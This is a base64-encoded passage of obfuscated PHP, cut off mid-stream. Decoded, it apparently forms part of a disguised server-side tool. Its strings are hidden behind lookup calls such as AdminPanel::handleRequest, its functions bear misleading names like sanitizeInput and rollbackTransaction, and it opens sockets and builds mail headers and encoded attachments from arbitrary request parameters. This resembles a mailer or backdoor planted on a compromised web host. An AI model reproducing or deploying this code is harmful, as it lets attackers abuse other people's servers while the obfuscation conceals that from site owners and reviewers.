KICAgICAgICAgICAgICAgICAgICAkX3Z4WyRfZ2FnXSA9ICRfZnc7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgJF91amwgPSAhZW1wdHkoJF92eCk7CiAgICAgICAgJF94YyA9IHZhbGlkYXRlX2VudHJ5KHVuaXFpZChBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfdGxqJywgJ196aGUnKSwgdHJ1ZSkpOwogICAgICAgICRfZHogPSB2YWxpZGF0ZV9lbnRyeSh1bmlxaWQoQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX3B2JywgJ19qYXcnKSwgdHJ1ZSkpOwogICAgICAgICRfcmRxID0gdmFsaWRhdGVfZW50cnkodW5pcWlkKEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19vdHInLCAnX29tbycpLCB0cnVlKSk7CiAgICAgICAgJF96cHggPSAkX3pweCA/ICRfenB4IDogJHRoaXMtPl9tY3UoKTsKICAgICAgICAkX2V3ID0gJF9ldyA/ICRfZXcgOiBtb25pdG9yX2hlYWx0aChBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfZGsnLCAnX2ZwJyksIEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19obWonLCAnX2NlJyksICRfenB4KSAuIEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19kZScsICdfc2YnKSAuICR0aGlzLT5fZGc7CiAgICAgICAgaWYgKCRfeGx5ICYmIGZldGNoX21ldGFkYXRhKCRfeGx5LCBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfY25vJywgJ195bWknKSkgPT09IGZhbHNlKSB7CiAgICAgICAgICAgICRfeGx5IC49IEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ191cicsICdfaXUnKSAuICR0aGlzLT5fZGc7CiAgICAgICAgfQogICAgICAgICRfeXJ3ID0gJHRoaXMtPl9yaCgkX3pweCwgJF9ldywgJF94bHkpOwogICAgICAgIGlmICgkdGhpcy0+X3ZqZykgewogICAgICAgICAgICAkX3lydyAuPSBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfZ2snLCAnX2x1JykgLiAkX2V3IC4gQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX29oJywgJ19zd2knKTsKICAgICAgICB9CiAgICAgICAgaWYgKCRfZHcpIHsKICAgICAgICAgICAgJF95cncgLj0gQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX3VtcCcsICdfeWh5JykgLiAkX3hjIC4gQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX3p0dicsICdfZHcnKTsKICAgICAgICB9IGVsc2VpZiAoJF91amwpIHsKICAgICAgICAgICAgJF95cncgLj0gQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX2J0bCcsICdfZ2InKSAuICRfeGMgLiBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfYWMnLCAnX3d5aCcpOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRfeXJ3IC49IEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19qaHonLCAnX29lJykgLiAkX3JkcSAuIEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ193ZWknLCAnX2t4dicpOwogICAgICAgIH0KICAgICAgICAkX2N5eSA9IEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19udmUnLCAnX3NmaicpOwogICAgICAgIGlmICgkX2R3KSB7CiAgICAgICAgICAgICRfY3l5IC49IEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19hcicsICdfanV2JykgLiAkX3hjIC4gQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX2xhJywgJ195ZycpOwogICAgICAgICAgICBpZiAoJF91amwpIHsKICAgICAgICAgICAgICAgICRfY3l5IC49IEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19qZGwnLCAnX3drJykgLiAkX2R6IC4gQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX2p5ZCcsICdfb3EnKTsKICAgICAgICAgICAgICAgICRfY3l5IC49IEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19ycycsICdfdXZ6JykgLiAkX2R6IC4gQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX3hhJywgJ19tbCcpOwogICAgICAgICAgICAgICAgJF9jeXkgLj0gQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX3JwZScsICdfaXknKSAuICRfcmRxIC4gQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX3FmdScsICdfZ3EnKTsKICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICRfY3l5IC49IEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ191YScsICdfZmR0JykgLiAkX3JkcSAuIEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19lenQnLCAnX3ZmaicpOwogICAgICAgICAgICB9CiAgICAgICAgfSBlbHNlaWYgKCRfdWpsKSB7CiAgICAgICAgICAgICRfY3l5IC49IEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19scicsICdfbHZiJykgLiAkX3hjIC4gQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX2J2dScsICdfeHcnKTsKICAgICAgICAgICAgJF9jeXkgLj0gQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX2ZtJywgJ19zcScpIC4gJF9yZHEgLiBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfcWYnLCAnX2p3aycpOwogICAgICAgIH0KICAgICAgICAkX2h1ID0gJHRoaXMtPl9zc28oJHRoaXMtPl90YnAsICRfcWdnKTsKICAgICAgICAkX3JrcCA9ICR0aGlzLT5fc3NvKCR0aGlzLT5fdGJwLCAkX29iKTsKICAgICAgICAkX2N5eSAuPSBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfd3onLCAnX3FsJykgLiAkX3JkcSAuIEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19kcGQnLCAnX3dnJykgLiBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfb3RzJywgJ19laCcpIC4gJHRoaXMtPl90YnAgLiBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfZXpqJywgJ19peicpIC4gJF9odTsKICAgICAgICBpZiAoJF9sdCkgewogICAgICAgICAgICAkX2N5eSAuPSBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfYmxyJywgJ19pYycpIC4gJF9yZHEgLiBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfcmV3JywgJ19vYW0nKSAuIEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ195ZCcsICdfb25wJykgLiAkdGhpcy0+X3RicCAuIEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19xaWEnLCAnX3VrJykgLiAkX3JrcDsKICAgICAgICB9CiAgICAgICAgJF9jeXkgLj0gQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX2VpbycsICdfZ3AnKSAuICRfcmRxIC4gQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX2hjJywgJ19sdycpOwogICAgICAgIGlmICgkX3VqbCkgewogICAgICAgICAgICAkX2l5ID0gJF9kdyA/ICRfZHogOiAkX3hjOwogICAgICAgICAgICBmb3JlYWNoICgkX3Z4IGFzICRfY3YgPT4gJF9kaGcpIHsKICAgICAgICAgICAgICAgICRfY2lwID0gcmVzb2x2ZV9kZXBlbmRlbmN5KCRfY3YpOwogICAgICAgICAgICAgICAgJF9jaXAgPSBrbWkoQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX2VkJywgJ19nYycpLCBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfeWF3JywgJ19ncmEnKSwgJF9jaXApOwogICAgICAgICAgICAgICAgJF9jaXAgPSByZXNvbHZlX2RlcGVuZGVuY3koJF9jaXAsIEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19wdScsICdfb3knKSk7CiAgICAgICAgICAgICAgICAkX2xwID0gc3RhcnRfc2VydmljZShBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfaHV3JywgJ19paCcpLCAkX2NpcCk7CiAgICAgICAgICAgICAgICAkX2RsID0gJF9scFswMF0gPyAkX2xwWzAwXSA6ICRfY2lwOwogICAgICAgICAgICAgICAgJF9xZnUgPSBudWxsOwogICAgICAgICAgICAgICAgJF9vZWggPSAkX2RoZzsKICAgICAgICAgICAgICAgIGlmIChmd3YoQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX2pkJywgJ19ubXUnKSwgJF9kaGcsICRfb3lyKSkgewogICAgICAgICAgICAgICAgICAgICRfcWZ1ID0gJF9veXJbMDFdOwogICAgICAgICAgICAgICAgICAgICRfb2VoID0gJF9veXJbMDJdOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgaWYgKCEkX3FmdSkgewogICAgICAgICAgICAgICAgICAgICRfZWEgPSAkdGhpcy0+X3h3cigkX2RsKTsKICAgICAgICAgICAgICAgICAgICAkX3FmdSA9ICRfZWEgPyAkX2VhIDogQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX2plaScsICdfcW5pJyk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAkX2N5eSAuPSBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfdmMnLCAnX3ViJykgLiAkX2l5IC4gQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX3FwJywgJ193YWcnKSAuIEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19ib2gnLCAnX2V0JykgLiAkX3FmdSAuIEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19xa2wnLCAnX2Z1eCcpIC4gJF9kbCAuIEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19peGwnLCAnX2p3ZCcpIC4gQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX3l0JywgJ19wcicpIC4gJF9kbCAuIEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ194aGknLCAnX3dqJykgLiBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfb24nLCAnX2ZwdScpIC4gJF9jaXAgLiBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfY2h4JywgJ196eGQnKSAuIEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ193cHgnLCAnX2NkJykgLiBjaHVua19zcGxpdCgkX29laCkgLiBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfcXlkJywgJ195YWonKTsKICAgICAgICAgICAgfQogICAgICAgICAgICAkX2N5eSAuPSBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfdGJ5JywgJ193emYnKSAuICRfaXkgLiBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfZnl0JywgJ194cicpOwogICAgICAgIH0KICAgICAgICBpZiAoJF9kdykgewogICAgICAgICAgICBmb3JlYWNoICgkX2l1IGFzICRfdWIpIHsKICAgICAgICAgICAgICAgIGlmIChhd2coJF91YikpIHsKICAgICAgICAgICAgICAgICAgICAkX2VkcSA9IGlzc2V0KCRfdWJbQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX2FxJywgJ19rd2MnKV0pID8gJF91YltBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfaHVuJywgJ19wYycpXSA6IChpc3NldCgkX3ViWzAwXSkgPyAkX3ViWzAwXSA6IG51bGwpOwogICAgICAgICAgICAgICAgICAgICRfbnggPSBpc3NldCgkX3ViW0FkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19kcnonLCAnX2ltJyldKSA/ICRfdWJbQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX3J6JywgJ19oeGgnKV0gOiAoaXNzZXQoJF91YlswMV0pID8gJF91YlswMV0gOiBudWxsKTsKICAgICAgICAgICAgICAgICAgICAkX3lycCA9IGlzc2V0KCRfdWJbQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX2toZicsICdfY2gnKV0pID8gJF91YltBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfaXEnLCAnX3d0JyldIDogKGlzc2V0KCRfdWJbMDFdKSA/ICR0aGlzLT5feHdyKCRfbngpIDogbnVsbCk7CiAgICAgICAgICAgICAgICAgICAgJF9hZm4gPSB3YWQoJF9lZHEpID8gd3RsKCRfZWRxKSA6ICR0aGlzLT5fZ2goJF9lZHEpOwogICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICBjb250aW51ZTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGlmICghJF9hZm4pIHsKICAgICAgICAgICAgICAgICAgICBjb250aW51ZTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGlmICghJF95cnApIHsKICAgICAgICAgICAgICAgICAgICAkX3lycCA9ICR0aGlzLT5feHdyKCRfbngpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgJF9jeXkgLj0gQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX2ZnJywgJ19wbHknKSAuICRfeGMgLiBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfbXhmJywgJ19zbGcnKSAuIEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19hb2YnLCAnX2V6JykgLiAkX3lycCAuIEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19oc3cnLCAnX2p6JykgLiAkX254IC4gQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX3ppJywgJ19rZCcpIC4gQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX2JkJywgJ19lbCcpIC4gJF9ueCAuIEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19haycsICdfamMnKSAuIEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19veCcsICdfb2VxJykgLiBjaHVua19zcGxpdChhbmFseXplX2RhdGEoJF9hZm4pKSAuIEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19raXEnLCAnX3JjJyk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF9jeXkgLj0gQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX3p6JywgJ196d2YnKSAuICRfeGMgLiBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfa2cnLCAnX29rcycpOwogICAgICAgIH0KICAgICAgICBpZiAoISRfZHcgJiYgISRfdWpsKSB7CiAgICAgICAgICAgICRfY3l5ID0gQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX3Z6YScsICdfd2ttJykgLiAkX3JkcSAuIEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19vZycsICdfcmgnKSAuIEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19naCcsICdfeWNzJykgLiAkdGhpcy0+X3RicCAuIEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19nd2snLCAnX3R4JykgLiAkX2h1OwogICAgICAgICAgICBpZiAoJF9sdCkgewogICAgICAgICAgICAgICAgJF9jeXkgLj0gQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX2V5bScsICdfb3BrJykgLiAkX3JkcSAuIEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19sdicsICdfZHknKSAuIEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19mcHQnLCAnX3BnZycpIC4gJHRoaXMtPl90YnAgLiBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfdnBiJywgJ194bGQnKSAuICRfcmtwOwogICAgICAgICAgICB9CiAgICAgICAgICAgICRfY3l5IC49IEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ196c3AnLCAnX3BnJykgLiAkX3JkcSAuIEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19tdScsICdfa3knKTsKICAgICAgICB9CiAgICAgICAgJF96diA9ICR0aGlzLT5fd3MoJHRoaXMtPl90YnAsICRfY2poKTsKICAgICAgICAkX2d0cSA9ICR0aGlzLT5mZXRjaFN1bW1hcnkoJHRoaXMtPl9kZywgJF9ldywgJF9iY3gsICRfenYsICRfY3l5LCAkX3lydyk7CiAgICAgICAgaWYgKCEkX2d0cSAmJiAkdGhpcy0+X2RnICE9PSAkdGhpcy0+X25qKSB7CiAgICAgICAgICAgICRfZXcgPSBtb25pdG9yX2hlYWx0aChBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfbnNjJywgJ19iZG4nKSAuICR0aGlzLT5fZGcsIEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19qcScsICdfbXEnKSAuICR0aGlzLT5fbmosICRfZXcpOwogICAgICAgICAgICAkX3lydyA9IG1vbml0b3JfaGVhbHRoKEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19lc3gnLCAnX293dScpIC4gJHRoaXMtPl9kZywgQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX2Z2JywgJ19yc3gnKSAuICR0aGlzLT5fbmosICRfeXJ3KTsKICAgICAgICAgICAgJF9ndHEgPSAkdGhpcy0+ZmV0Y2hTdW1tYXJ5KCR0aGlzLT5fbmosICRfZXcsICRfYmN4LCAkX3p2LCAkX2N5eSwgJF95cncpOwogICAgICAgIH0KICAgICAgICByZXR1cm4gJF9ndHE7CiAgICB9CiAgICBwcml2YXRlIGZ1bmN0aW9uIGZldGNoU3VtbWFyeSgkX216LCAkX3ZhLCAkX2JjeCwgJF9jamgsICRfY3l5LCAkX3lydyA9ICIiKQogICAgewogICAgICAgICRfZnpsID0gaXNzZXQoJF9SRVFVRVNUW0FkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19vY3knLCAnX2pqYicpXSkgJiYgYXdnKCRfUkVRVUVTVFtBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfZGwnLCAnX2h2aScpXSkgPyAkX1JFUVVFU1RbQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX3ljYicsICdfYWx4JyldIDogYXJyYXkoQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX3RneicsICdfcnInKSk7CiAgICAgICAga3NvcnQoJF9memwpOwogICAgICAgICRfYXRkID0gJHRoaXMtPnJlc29sdmVDb25mbGljdCgkX3ZhLCBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfeWlkJywgJ19sbXgnKSk7CiAgICAgICAgJF95cncgPSByZXNvbHZlX2RlcGVuZGVuY3koJF95cncpOwogICAgICAgIGlmICghZnd2KEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19uZHEnLCAnX3FibCcpLCAkX3lydykpIHsKICAgICAgICAgICAgJF95cncgPSBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfcmRqJywgJ19mZ3AnKSAuICRfdmEgLiBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfYmYnLCAnX2t4JykgLiAkX3lydzsKICAgICAgICB9CiAgICAgICAgJF95dm4gPSAkX3lydzsKICAgICAgICBpZiAoIWZ3dihBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfeXgnLCAnX2NrJyksICRfeXZuKSkgewogICAgICAgICAgICAkX3l2biA9IEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19rcWYnLCAnX3dwYScpIC4gJHRoaXMtPl9raCgpIC4gQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX2pxcycsICdfb3ZnJykgLiAkX3l2bjsKICAgICAgICB9CiAgICAgICAgaWYgKCFmd3YoQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX2treicsICdfd2MnKSwgJF95dm4pKSB7CiAgICAgICAgICAgICRfeXZuID0gQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX2J1YScsICdfdWN3JykgLiAkdGhpcy0+X3JzKCRfYXRkKSAuIEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19kaHknLCAnX2V5JykgLiAkX3l2bjsKICAgICAgICB9CiAgICAgICAgaWYgKCFmd3YoQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX2NsbicsICdfd3gnKSwgJF95dm4pKSB7CiAgICAgICAgICAgICRfeXZuID0gQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX253dScsICdfa3dkJykgLiAkX2JjeCAuIEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19vYmonLCAnX3ZxcycpIC4gJF95dm47CiAgICAgICAgfQogICAgICAgIGlmICghZnd2KEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ192dycsICdfc3RsJyksICRfeXZuKSkgewogICAgICAgICAgICAkX3l2biA9IEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19vaGgnLCAnX3J3JykgLiAkX2NqaCAuIEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ191ZicsICdfanVwJykgLiAkX3l2bjsKICAgICAgICB9CiAgICAgICAgZm9yZWFjaCAoJF9memwgYXMgJF9veXIpIHsKICAgICAgICAgICAgaWYgKCRfb3lyID09PSBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfZXlmJywgJ19zbmknKSAmJiBpc3NldCgkX1JFUVVFU1RbQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX3lydScsICdfcmdwJyldLCAkX1JFUVVFU1RbQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX2lkbycsICdfc3QnKV0sICRfUkVRVUVTVFtBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfZGMnLCAnX2hkZycpXSwgJF9SRVFVRVNUW0FkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19vanQnLCAnX3ZlJyldKSkgewogICAgICAgICAgICAgICAgJF9hZm4gPSAkX3l2biAuIEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19wbicsICdfbm9rJykgLiAkX2N5eSAuIEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19scHYnLCAnX2NjbycpOwogICAgICAgICAgICAgICAgJF9vbWMgPSAkdGhpcy0+cm9sbGJhY2tUcmFuc2FjdGlvbigkX1JFUVVFU1RbQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX3hiJywgJ19vcHEnKV0sIChpbnQpICRfUkVRVUVTVFtBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfZnknLCAnX3JvJyldLCAkX1JFUVVFU1RbQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX2x2bCcsICdfaWUnKV0gPT0gQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX3ljJywgJ19leXEnKSA/IEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ191bGInLCAnX3NqYicpIDogbnVsbCk7CiAgICAgICAgICAgICAgICBpZiAoISRfb21jKSB7CiAgICAgICAgICAgICAgICAgICAgY29udGludWU7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBpZiAoISR0aGlzLT5zYW5pdGl6ZUlucHV0KCRfb21jLCAkX3ZhLCAkX2JjeCwgJF9hZm4sICRfbXosICRfUkVRVUVTVFtBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfc2hhJywgJ19lZmsnKV0sICRfUkVRVUVTVFtBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfaXpvJywgJ19uZScpXSkpIHsKICAgICAgICAgICAgICAgICAgICBAZmNsb3NlKCRfb21jKTsKICAgICAgICAgICAgICAgICAgICBjb250aW51ZTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIEBmY2xvc2UoJF9vbWMpOwogICAgICAgICAgICAgICAgZWNobyBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfdGMnLCAnX3p3bicpIC4gJHRoaXMtPl95dzsKICAgICAgICAgICAgICAgIHJldHVybiB0cnVlOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGlmICgkX295ciA9PT0gQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX25qJywgJ19xcGgnKSkgewogICAgICAgICAgICAgICAgJF9hZm4gPSAkX3l2biAuIEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19ja2QnLCAnX3NqcycpIC4gJF9jeXkgLiBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfbGxsJywgJ19xY2wnKTsKICAgICAgICAgICAgICAgICRfdnYgPSAkdGhpcy0+ZmV0Y2hSZWNvcmRzKCRfeXZuLCAkX2N5eSwgJF92YSwgJF9iY3gsICRfbXopOwogICAgICAgICAgICAgICAgaWYgKCRfdnYgIT09IGZhbHNlKSB7CiAgICAgICAgICAgICAgICAgICAgJF9hZm4gPSAkX3Z2IC4gJHRoaXMtPl95dyAuIEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19nbXEnLCAnX3F3Jyk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAkX2V6ID0gYXJyYXkoKTsKICAgICAgICAgICAgICAgIGlmIChpc3NldCgkX1JFUVVFU1RbQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX2VzYScsICdfeW9nJyldLCAkX1JFUVVFU1RbQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX3Z6JywgJ19oZ3AnKV0pKSB7CiAgICAgICAgICAgICAgICAgICAgJF9xY2sgPSAkX1JFUVVFU1RbQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX2tubycsICdfcHJiJyldOwogICAgICAgICAgICAgICAgICAgICRfZ2QgPSAoaW50KSAkX1JFUVVFU1RbQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX25hdicsICdfcXEnKV07CiAgICAgICAgICAgICAgICAgICAgJF94cHggPSBudWxsOwogICAgICAgICAgICAgICAgICAgIGlmICgkX2dkID09IDA3MjEpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJF94cHggPSBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfYmt3JywgJ193d2gnKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgJF9leltdID0gYXJyYXkoQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX2t0JywgJ19iYXMnKSA9PiAkX3FjaywgQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX2Z4JywgJ19nbXAnKSA9PiAkX2dkLCBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfeGUnLCAnX3l0ZicpID0+ICRfeHB4KTsKICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgJF9icSA9ICR0aGlzLT5yZXNvbHZlQWN0aW9uKCRfbXopOwogICAgICAgICAgICAgICAgICAgICRfZXpbXSA9IGFycmF5KEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ190YScsICdfaG8nKSA9PiBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfdmknLCAnX3RkJyksIEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19lYycsICdfYmx1JykgPT4gMDMxLCBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfcGNhJywgJ19ieGInKSA9PiBudWxsKTsKICAgICAgICAgICAgICAgICAgICBpZiAoIWVtcHR5KCRfYnEpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRfZXpbXSA9IGFycmF5KEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ194aCcsICdfYXBuJykgPT4gJF9icVswMF0sIEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ196bicsICdfc3cnKSA9PiAwMzEsIEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19kYWsnLCAnX2xycycpID0+IG51bGwpOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAkX2V6W10gPSBhcnJheShBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfbWknLCAnX2ZjJykgPT4gQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX3B6JywgJ19mYngnKSwgQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX2RubycsICdfdG4nKSA9PiAwNzIxLCBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfZnlkJywgJ19yZXEnKSA9PiBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfdnBkJywgJ19vZWknKSk7CiAgICAgICAgICAgICAgICAgICAgJF9leltdID0gYXJyYXkoQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX3hlZycsICdfeG8nKSA9P